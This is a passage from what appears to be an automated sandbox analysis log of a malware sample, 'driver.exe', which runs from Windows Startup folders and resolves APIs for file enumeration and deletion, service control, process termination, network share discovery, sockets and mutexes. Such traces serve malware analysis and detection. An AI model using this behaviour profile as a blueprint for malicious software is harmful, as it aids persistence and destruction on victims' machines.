AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000db03" [0xc000000f], "LOCAL" [0x7] Thread: id = 33 os_tid = 0x7c0 Thread: id = 34 os_tid = 0x310 Thread: id = 35 os_tid = 0x128 Thread: id = 36 os_tid = 0x7c8 Thread: id = 37 os_tid = 0x6cc Thread: id = 38 os_tid = 0x644 Thread: id = 39 os_tid = 0x63c Thread: id = 40 os_tid = 0x154 Thread: id = 41 os_tid = 0x150 Thread: id = 42 os_tid = 0x120 Thread: id = 43 os_tid = 0x124 Thread: id = 44 os_tid = 0x118 Thread: id = 45 os_tid = 0x3fc Thread: id = 46 os_tid = 0x948 Process: id = "7" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x19326000" os_pid = "0x928" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:00070789" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 48 os_tid = 0x9a8 Thread: id = 49 os_tid = 0x988 Thread: id = 50 os_tid = 0x978 Thread: id = 51 os_tid = 0x968 Thread: id = 52 os_tid = 0x958 Thread: id = 53 os_tid = 0x938 Process: id = "8" image_name = "driver.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\driver.exe" page_root = "0x79e45000" os_pid = "0x4d0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x368" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\driver.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebe9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 55 os_tid = 0x4d4 [0171.175] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77080000 [0171.175] GetProcAddress (hModule=0x77080000, lpProcName="GetProcAddress") returned 0x77091222 [0171.175] GetProcAddress (hModule=0x77080000, lpProcName="GetModuleHandleW") returned 0x770934b0 [0171.175] GetProcAddress (hModule=0x77080000, lpProcName="FindNextFileW") returned 0x770954ee [0171.176] GetProcAddress (hModule=0x77080000, lpProcName="FindClose") returned 0x77094442 [0171.176] GetProcAddress (hModule=0x77080000, lpProcName="MoveFileW") returned 0x770a9af0 [0171.176] GetProcAddress (hModule=0x77080000, lpProcName="GetFileSizeEx") returned 0x770959e2 [0171.176] GetProcAddress (hModule=0x77080000, lpProcName="GetModuleFileNameW") returned 0x77094950 [0171.176] GetProcAddress (hModule=0x77080000, lpProcName="GetFileAttributesW") returned 0x77091b18 [0171.176] GetProcAddress (hModule=0x77080000, lpProcName="ExitProcess") returned 0x77097a10 [0171.176] GetProcAddress (hModule=0x77080000, lpProcName="GetCommandLineW") returned 0x77095223 [0171.176] GetProcAddress (hModule=0x77080000, lpProcName="GetComputerNameW") returned 0x7709dd0e [0171.176] GetProcAddress (hModule=0x77080000, lpProcName="GetComputerNameA") returned 0x770ab6e0 [0171.176] GetProcAddress (hModule=0x77080000, lpProcName="CreateMutexW") returned 0x7709424c [0171.177] GetProcAddress (hModule=0x77080000, lpProcName="lstrlenW") returned 0x77091700 [0171.177] GetProcAddress (hModule=0x77080000, lpProcName="lstrlenA") returned 0x77095a4b [0171.177] GetProcAddress (hModule=0x77080000, lpProcName="GetCurrentProcess") returned 0x77091809 [0171.177] GetProcAddress (hModule=0x77080000, lpProcName="WaitForSingleObject") returned 0x77091136 [0171.177] GetProcAddress (hModule=0x77080000, lpProcName="GetLogicalDrives") returned 0x77095371 [0171.177] GetProcAddress (hModule=0x77080000, lpProcName="GetTickCount") returned 0x7709110c [0171.177] GetProcAddress (hModule=0x77080000, lpProcName="DeleteFileW") returned 0x770989b3 [0171.177] GetProcAddress (hModule=0x77080000, lpProcName="WideCharToMultiByte") returned 0x7709170d [0171.177] GetProcAddress (hModule=0x77080000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x77091916 [0171.178] GetProcAddress (hModule=0x77080000, lpProcName="Sleep") returned 0x770910ff [0171.178] GetProcAddress (hModule=0x77080000, lpProcName="LeaveCriticalSection") returned 0x775b2270 [0171.178] GetProcAddress (hModule=0x77080000, lpProcName="ReadFile") returned 0x77093ed3 [0171.178] GetProcAddress (hModule=0x77080000, lpProcName="CreateFileW") returned 0x77093f5c [0171.178] GetProcAddress (hModule=0x77080000, lpProcName="OpenMutexW") returned 0x77095151 [0171.178] GetProcAddress (hModule=0x77080000, lpProcName="EnterCriticalSection") returned 0x775b22b0 [0171.178] GetProcAddress (hModule=0x77080000, lpProcName="WaitForMultipleObjects") returned 0x77094220 [0171.178] GetProcAddress (hModule=0x77080000, lpProcName="lstrcmpiW") returned 0x770ad5cd [0171.178] GetProcAddress (hModule=0x77080000, lpProcName="lstrcmpiA") returned 0x77093e8e [0171.178] GetProcAddress (hModule=0x77080000, lpProcName="DeleteCriticalSection") returned 0x775c45f5 [0171.178] GetProcAddress (hModule=0x77080000, lpProcName="ReleaseMutex") returned 0x7709111e [0171.179] GetProcAddress (hModule=0x77080000, lpProcName="CloseHandle") returned 0x77091410 [0171.179] GetProcAddress (hModule=0x77080000, lpProcName="GetVersion") returned 0x77094467 [0171.179] GetProcAddress (hModule=0x77080000, lpProcName="CreateThread") returned 0x770934d5 [0171.179] GetProcAddress (hModule=0x77080000, lpProcName="ExpandEnvironmentStringsW") returned 0x77094173 [0171.179] GetProcAddress (hModule=0x77080000, lpProcName="QueryPerformanceCounter") returned 0x77091725 [0171.179] GetProcAddress (hModule=0x77080000, lpProcName="QueryPerformanceFrequency") returned 0x770941f0 [0171.179] GetProcAddress (hModule=0x77080000, lpProcName="GetCurrentProcessId") returned 0x770911f8 [0171.179] GetProcAddress (hModule=0x77080000, lpProcName="SetFileAttributesW") returned 0x770ad4f7 [0171.179] GetProcAddress (hModule=0x77080000, lpProcName="GetVolumeInformationW") returned 0x770ac860 [0171.179] GetProcAddress (hModule=0x77080000, lpProcName="WriteFile") returned 0x77091282 [0171.180] GetProcAddress (hModule=0x77080000, lpProcName="SetFilePointerEx") returned 0x770ac807 [0171.180] GetProcAddress (hModule=0x77080000, lpProcName="SetEndOfFile") returned 0x770ace2e [0171.180] GetProcAddress (hModule=0x77080000, lpProcName="FindFirstFileW") returned 0x77094435 [0171.180] GetProcAddress (hModule=0x77080000, lpProcName="GetProcessHeap") returned 0x770914e9 [0171.180] GetProcAddress (hModule=0x77080000, lpProcName="HeapReAlloc") returned 0x775d1f6e [0171.180] GetProcAddress (hModule=0x77080000, lpProcName="HeapAlloc") returned 0x775be026 [0171.180] GetProcAddress (hModule=0x77080000, lpProcName="HeapFree") returned 0x770914c9 [0171.180] GetProcAddress (hModule=0x77080000, lpProcName="CreatePipe") returned 0x7711415b [0171.180] GetProcAddress (hModule=0x77080000, lpProcName="SetHandleInformation") returned 0x770a195c [0171.180] GetProcAddress (hModule=0x77080000, lpProcName="CreateProcessW") returned 0x7709103d [0171.180] GetProcAddress (hModule=0x77080000, lpProcName="CompareStringW") returned 0x77093bca [0171.180] GetProcAddress (hModule=0x77080000, lpProcName="CompareStringA") returned 0x77093c5a [0171.181] GetProcAddress (hModule=0x77080000, lpProcName="OpenProcess") returned 0x77091986 [0171.181] GetProcAddress (hModule=0x77080000, lpProcName="TerminateProcess") returned 0x770ad802 [0171.181] GetProcAddress (hModule=0x77080000, lpProcName="GetSystemTime") returned 0x77095a96 [0171.181] GetProcAddress (hModule=0x77080000, lpProcName="SystemTimeToFileTime") returned 0x77095a7e [0171.181] GetProcAddress (hModule=0x77080000, lpProcName="GetLastError") returned 0x770911c0 [0171.181] GetProcAddress (hModule=0x77080000, lpProcName="CreateToolhelp32Snapshot") returned 0x770b735f [0171.181] GetProcAddress (hModule=0x77080000, lpProcName="Process32NextW") returned 0x770b896c [0171.181] GetProcAddress (hModule=0x77080000, lpProcName="Process32FirstW") returned 0x770b8baf [0171.182] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76400000 [0172.794] GetProcAddress (hModule=0x76400000, lpProcName="RegOpenKeyExW") returned 0x7641468d [0172.801] GetProcAddress (hModule=0x76400000, lpProcName="RegQueryValueExW") returned 0x764146ad [0172.801] GetProcAddress (hModule=0x76400000, lpProcName="RegSetValueExW") returned 0x764114d6 [0172.801] GetProcAddress (hModule=0x76400000, lpProcName="RegCloseKey") returned 0x7641469d [0172.801] GetProcAddress (hModule=0x76400000, lpProcName="OpenProcessToken") returned 0x76414304 [0172.802] GetProcAddress (hModule=0x76400000, lpProcName="GetTokenInformation") returned 0x7641431c [0172.802] GetProcAddress (hModule=0x76400000, lpProcName="OpenSCManagerW") returned 0x7640ca64 [0172.802] GetProcAddress (hModule=0x76400000, lpProcName="OpenServiceW") returned 0x7640ca4c [0172.802] GetProcAddress (hModule=0x76400000, lpProcName="CloseServiceHandle") returned 0x7641369c [0172.802] GetProcAddress (hModule=0x76400000, lpProcName="ControlService") returned 0x76427144 [0172.802] GetProcAddress (hModule=0x76400000, lpProcName="QueryServiceStatus") returned 0x76412a86 [0172.802] GetProcAddress (hModule=0x76400000, lpProcName="EnumDependentServicesW") returned 0x76401e3a [0172.802] GetProcAddress (hModule=0x76400000, lpProcName="EnumServicesStatusExW") returned 0x7640b466 [0172.803] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76f80000 [0174.026] GetProcAddress (hModule=0x76f80000, lpProcName="SystemParametersInfoW") returned 0x76f990d3 [0174.026] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75770000 [0174.437] GetProcAddress (hModule=0x75770000, lpProcName="ShellExecuteExW") returned 0x75791e46 [0174.459] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77590000 [0174.459] GetProcAddress (hModule=0x77590000, lpProcName="NtQuerySystemInformation") returned 0x775afda0 [0174.459] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x738c0000 [0177.247] GetProcAddress (hModule=0x738c0000, lpProcName="WNetCloseEnum") returned 0x738c2dd6 [0177.247] GetProcAddress (hModule=0x738c0000, lpProcName="WNetOpenEnumW") returned 0x738c2f06 [0177.247] GetProcAddress (hModule=0x738c0000, lpProcName="WNetEnumResourceW") returned 0x738c3058 [0177.247] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x756b0000 [0177.255] GetProcAddress (hModule=0x756b0000, lpProcName="WSAStartup") returned 0x756b3ab2 [0177.256] GetProcAddress (hModule=0x756b0000, lpProcName="socket") returned 0x756b3eb8 [0177.256] GetProcAddress (hModule=0x756b0000, lpProcName="send") returned 0x756b6f01 [0177.256] GetProcAddress (hModule=0x756b0000, lpProcName="recv") returned 0x756b6b0e [0177.256] GetProcAddress (hModule=0x756b0000, lpProcName="connect") returned 0x756b6bdd [0177.257] GetProcAddress (hModule=0x756b0000, lpProcName="closesocket") returned 0x756b3918 [0177.257] GetProcAddress (hModule=0x756b0000, lpProcName="gethostbyname") returned 0x756c7673 [0177.257] GetProcAddress (hModule=0x756b0000, lpProcName="inet_addr") returned 0x756b311b [0177.257] GetProcAddress (hModule=0x756b0000, lpProcName="ntohl") returned 0x756b2d57 [0177.257] GetProcAddress (hModule=0x756b0000, lpProcName="htonl") returned 0x756b2d57 [0177.257] GetProcAddress (hModule=0x756b0000, lpProcName="htons") returned 0x756b2d8b [0177.257] GetProcessHeap () returned 0x2a0000 [0177.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2b4238 [0177.258] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=10964832292) returned 1 [0177.258] GetTickCount () returned 0x113a9a8 [0177.258] GetCurrentProcessId () returned 0x4d0 [0177.260] GetTickCount () returned 0x113a9a8 [0177.260] GetTickCount () returned 0x113a9a8 [0177.260] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2b4260 [0177.260] GetVersion () returned 0x1db10106 [0177.260] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x7) returned 0x2a3820 [0177.260] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2b0d40 [0177.260] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b0d40, Size=0x20) returned 0x2b42b0 [0177.260] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b42b0, Size=0x40) returned 0x2b4820 [0177.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x2b4a98 [0177.261] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_QVW9W0A") returned 0x84 [0177.262] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2a3820 | out: hHeap=0x2a0000) returned 1 [0177.262] lstrlenW (lpString="Global\\syncronize_") returned 18 [0177.262] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b4820 | out: hHeap=0x2a0000) returned 1 [0177.262] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x7) returned 0x2a3820 [0177.262] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2b0d40 [0177.262] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b0d40, Size=0x20) returned 0x2b42b0 [0177.262] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b42b0, Size=0x40) returned 0x2b4820 [0177.262] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x2c4aa0 [0177.263] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_QVW9W0U") returned 0x88 [0177.263] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2a3820 | out: hHeap=0x2a0000) returned 1 [0177.264] lstrlenW (lpString="Global\\syncronize_") returned 18 [0177.264] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b4820 | out: hHeap=0x2a0000) returned 1 [0177.264] GetVersion () returned 0x1db10106 [0177.264] GetCurrentProcess () returned 0xffffffff [0177.264] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0177.264] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0177.264] CloseHandle (hObject=0x8c) returned 1 [0177.264] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x102 [0177.264] ExitProcess (uExitCode=0x0) Process: id = "9" image_name = "driver.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\driver.exe" page_root = "0x7a707000" os_pid = "0x4d8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x368" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\driver.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebe9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 56 os_tid = 0x4dc [0172.560] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77080000 [0172.561] GetProcAddress (hModule=0x77080000, lpProcName="GetProcAddress") returned 0x77091222 [0172.562] GetProcAddress (hModule=0x77080000, lpProcName="GetModuleHandleW") returned 0x770934b0 [0172.562] GetProcAddress (hModule=0x77080000, lpProcName="FindNextFileW") returned 0x770954ee [0172.562] GetProcAddress (hModule=0x77080000, lpProcName="FindClose") returned 0x77094442 [0172.562] GetProcAddress (hModule=0x77080000, lpProcName="MoveFileW") returned 0x770a9af0 [0172.562] GetProcAddress (hModule=0x77080000, lpProcName="GetFileSizeEx") returned 0x770959e2 [0172.562] GetProcAddress (hModule=0x77080000, lpProcName="GetModuleFileNameW") returned 0x77094950 [0172.563] GetProcAddress (hModule=0x77080000, lpProcName="GetFileAttributesW") returned 0x77091b18 [0172.563] GetProcAddress (hModule=0x77080000, lpProcName="ExitProcess") returned 0x77097a10 [0172.563] GetProcAddress (hModule=0x77080000, lpProcName="GetCommandLineW") returned 0x77095223 [0172.563] GetProcAddress (hModule=0x77080000, lpProcName="GetComputerNameW") returned 0x7709dd0e [0172.563] GetProcAddress (hModule=0x77080000, lpProcName="GetComputerNameA") returned 0x770ab6e0 [0172.563] GetProcAddress (hModule=0x77080000, lpProcName="CreateMutexW") returned 0x7709424c [0172.563] GetProcAddress (hModule=0x77080000, lpProcName="lstrlenW") returned 0x77091700 [0172.564] GetProcAddress (hModule=0x77080000, lpProcName="lstrlenA") returned 0x77095a4b [0172.564] GetProcAddress (hModule=0x77080000, lpProcName="GetCurrentProcess") returned 0x77091809 [0172.565] GetProcAddress (hModule=0x77080000, lpProcName="WaitForSingleObject") returned 0x77091136 [0172.565] GetProcAddress (hModule=0x77080000, lpProcName="GetLogicalDrives") returned 0x77095371 [0172.565] GetProcAddress (hModule=0x77080000, lpProcName="GetTickCount") returned 0x7709110c [0172.565] GetProcAddress (hModule=0x77080000, lpProcName="DeleteFileW") returned 0x770989b3 [0172.565] GetProcAddress (hModule=0x77080000, lpProcName="WideCharToMultiByte") returned 0x7709170d [0172.565] GetProcAddress (hModule=0x77080000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x77091916 [0172.565] GetProcAddress (hModule=0x77080000, lpProcName="Sleep") returned 0x770910ff [0172.566] GetProcAddress (hModule=0x77080000, lpProcName="LeaveCriticalSection") returned 0x775b2270 [0172.566] GetProcAddress (hModule=0x77080000, lpProcName="ReadFile") returned 0x77093ed3 [0172.566] GetProcAddress (hModule=0x77080000, lpProcName="CreateFileW") returned 0x77093f5c [0172.566] GetProcAddress (hModule=0x77080000, lpProcName="OpenMutexW") returned 0x77095151 [0172.566] GetProcAddress (hModule=0x77080000, lpProcName="EnterCriticalSection") returned 0x775b22b0 [0172.566] GetProcAddress (hModule=0x77080000, lpProcName="WaitForMultipleObjects") returned 0x77094220 [0172.567] GetProcAddress (hModule=0x77080000, lpProcName="lstrcmpiW") returned 0x770ad5cd [0172.567] GetProcAddress (hModule=0x77080000, lpProcName="lstrcmpiA") returned 0x77093e8e [0172.567] GetProcAddress (hModule=0x77080000, lpProcName="DeleteCriticalSection") returned 0x775c45f5 [0172.567] GetProcAddress (hModule=0x77080000, lpProcName="ReleaseMutex") returned 0x7709111e [0172.567] GetProcAddress (hModule=0x77080000, lpProcName="CloseHandle") returned 0x77091410 [0172.567] GetProcAddress (hModule=0x77080000, lpProcName="GetVersion") returned 0x77094467 [0172.568] GetProcAddress (hModule=0x77080000, lpProcName="CreateThread") returned 0x770934d5 [0172.568] GetProcAddress (hModule=0x77080000, lpProcName="ExpandEnvironmentStringsW") returned 0x77094173 [0172.568] GetProcAddress (hModule=0x77080000, lpProcName="QueryPerformanceCounter") returned 0x77091725 [0172.568] GetProcAddress (hModule=0x77080000, lpProcName="QueryPerformanceFrequency") returned 0x770941f0 [0172.568] GetProcAddress (hModule=0x77080000, lpProcName="GetCurrentProcessId") returned 0x770911f8 [0172.568] GetProcAddress (hModule=0x77080000, lpProcName="SetFileAttributesW") returned 0x770ad4f7 [0172.568] GetProcAddress (hModule=0x77080000, lpProcName="GetVolumeInformationW") returned 0x770ac860 [0172.569] GetProcAddress (hModule=0x77080000, lpProcName="WriteFile") returned 0x77091282 [0172.569] GetProcAddress (hModule=0x77080000, lpProcName="SetFilePointerEx") returned 0x770ac807 [0172.569] GetProcAddress (hModule=0x77080000, lpProcName="SetEndOfFile") returned 0x770ace2e [0172.569] GetProcAddress (hModule=0x77080000, lpProcName="FindFirstFileW") returned 0x77094435 [0172.569] GetProcAddress (hModule=0x77080000, lpProcName="GetProcessHeap") returned 0x770914e9 [0172.569] GetProcAddress (hModule=0x77080000, lpProcName="HeapReAlloc") returned 0x775d1f6e [0172.569] GetProcAddress (hModule=0x77080000, lpProcName="HeapAlloc") returned 0x775be026 [0172.570] GetProcAddress (hModule=0x77080000, lpProcName="HeapFree") returned 0x770914c9 [0172.570] GetProcAddress (hModule=0x77080000, lpProcName="CreatePipe") returned 0x7711415b [0172.572] GetProcAddress (hModule=0x77080000, lpProcName="SetHandleInformation") returned 0x770a195c [0172.572] GetProcAddress (hModule=0x77080000, lpProcName="CreateProcessW") returned 0x7709103d [0172.572] GetProcAddress (hModule=0x77080000, lpProcName="CompareStringW") returned 0x77093bca [0172.572] GetProcAddress (hModule=0x77080000, lpProcName="CompareStringA") returned 0x77093c5a [0172.572] GetProcAddress (hModule=0x77080000, lpProcName="OpenProcess") returned 0x77091986 [0172.572] GetProcAddress (hModule=0x77080000, lpProcName="TerminateProcess") returned 0x770ad802 [0172.573] GetProcAddress (hModule=0x77080000, lpProcName="GetSystemTime") returned 0x77095a96 [0172.573] GetProcAddress (hModule=0x77080000, lpProcName="SystemTimeToFileTime") returned 0x77095a7e [0172.573] GetProcAddress (hModule=0x77080000, lpProcName="GetLastError") returned 0x770911c0 [0172.573] GetProcAddress (hModule=0x77080000, lpProcName="CreateToolhelp32Snapshot") returned 0x770b735f [0172.573] GetProcAddress (hModule=0x77080000, lpProcName="Process32NextW") returned 0x770b896c [0172.573] GetProcAddress (hModule=0x77080000, lpProcName="Process32FirstW") returned 0x770b8baf [0172.573] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76400000 [0174.044] GetProcAddress (hModule=0x76400000, lpProcName="RegOpenKeyExW") returned 0x7641468d [0174.045] GetProcAddress (hModule=0x76400000, lpProcName="RegQueryValueExW") returned 0x764146ad [0174.045] GetProcAddress (hModule=0x76400000, lpProcName="RegSetValueExW") returned 0x764114d6 [0174.045] GetProcAddress (hModule=0x76400000, lpProcName="RegCloseKey") returned 0x7641469d [0174.045] GetProcAddress (hModule=0x76400000, lpProcName="OpenProcessToken") returned 0x76414304 [0174.045] GetProcAddress (hModule=0x76400000, lpProcName="GetTokenInformation") returned 0x7641431c [0174.046] GetProcAddress (hModule=0x76400000, lpProcName="OpenSCManagerW") returned 0x7640ca64 [0174.046] GetProcAddress (hModule=0x76400000, lpProcName="OpenServiceW") returned 0x7640ca4c [0174.046] GetProcAddress (hModule=0x76400000, lpProcName="CloseServiceHandle") returned 0x7641369c [0174.046] GetProcAddress (hModule=0x76400000, lpProcName="ControlService") returned 0x76427144 [0174.046] GetProcAddress (hModule=0x76400000, lpProcName="QueryServiceStatus") returned 0x76412a86 [0174.046] GetProcAddress (hModule=0x76400000, lpProcName="EnumDependentServicesW") returned 0x76401e3a [0174.046] GetProcAddress (hModule=0x76400000, lpProcName="EnumServicesStatusExW") returned 0x7640b466 [0174.046] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76f80000 [0175.844] GetProcAddress (hModule=0x76f80000, lpProcName="SystemParametersInfoW") returned 0x76f990d3 [0175.845] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75770000 [0175.859] GetProcAddress (hModule=0x75770000, lpProcName="ShellExecuteExW") returned 0x75791e46 [0175.859] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77590000 [0175.859] GetProcAddress (hModule=0x77590000, lpProcName="NtQuerySystemInformation") returned 0x775afda0 [0175.860] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x738c0000 [0176.579] GetProcAddress (hModule=0x738c0000, lpProcName="WNetCloseEnum") returned 0x738c2dd6 [0176.579] GetProcAddress (hModule=0x738c0000, lpProcName="WNetOpenEnumW") returned 0x738c2f06 [0176.580] GetProcAddress (hModule=0x738c0000, lpProcName="WNetEnumResourceW") returned 0x738c3058 [0176.580] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x756b0000 [0176.684] GetProcAddress (hModule=0x756b0000, lpProcName="WSAStartup") returned 0x756b3ab2 [0176.684] GetProcAddress (hModule=0x756b0000, lpProcName="socket") returned 0x756b3eb8 [0176.685] GetProcAddress (hModule=0x756b0000, lpProcName="send") returned 0x756b6f01 [0176.685] GetProcAddress (hModule=0x756b0000, lpProcName="recv") returned 0x756b6b0e [0176.685] GetProcAddress (hModule=0x756b0000, lpProcName="connect") returned 0x756b6bdd [0176.685] GetProcAddress (hModule=0x756b0000, lpProcName="closesocket") returned 0x756b3918 [0176.685] GetProcAddress (hModule=0x756b0000, lpProcName="gethostbyname") returned 0x756c7673 [0176.685] GetProcAddress (hModule=0x756b0000, lpProcName="inet_addr") returned 0x756b311b [0176.685] GetProcAddress (hModule=0x756b0000, lpProcName="ntohl") returned 0x756b2d57 [0176.685] GetProcAddress (hModule=0x756b0000, lpProcName="htonl") returned 0x756b2d57 [0176.686] GetProcAddress (hModule=0x756b0000, lpProcName="htons") returned 0x756b2d8b [0176.686] GetProcessHeap () returned 0x880000 [0176.686] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x20) returned 0x894390 [0176.686] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=10907654040) returned 1 [0176.705] GetTickCount () returned 0x113a786 [0176.705] GetCurrentProcessId () returned 0x4d8 [0176.707] GetTickCount () returned 0x113a786 [0176.707] GetTickCount () returned 0x113a786 [0176.707] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x20) returned 0x8943b8 [0176.707] GetVersion () returned 0x1db10106 [0176.707] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x7) returned 0x883978 [0176.708] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x890e98 [0176.708] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x890e98, Size=0x20) returned 0x894408 [0176.708] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894408, Size=0x40) returned 0x894978 [0176.708] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x894c28 [0176.709] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_QVW9W0A") returned 0x0 [0176.709] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_QVW9W0A") returned 0x84 [0176.710] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x883978 | out: hHeap=0x880000) returned 1 [0176.710] lstrlenW (lpString="Global\\syncronize_") returned 18 [0176.710] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894978 | out: hHeap=0x880000) returned 1 [0176.710] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x7) returned 0x883978 [0176.710] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x890e98 [0176.710] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x890e98, Size=0x20) returned 0x894408 [0176.710] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894408, Size=0x40) returned 0x894978 [0176.710] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8a4c30 [0176.711] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_QVW9W0U") returned 0x0 [0176.711] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_QVW9W0U") returned 0x88 [0176.712] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x883978 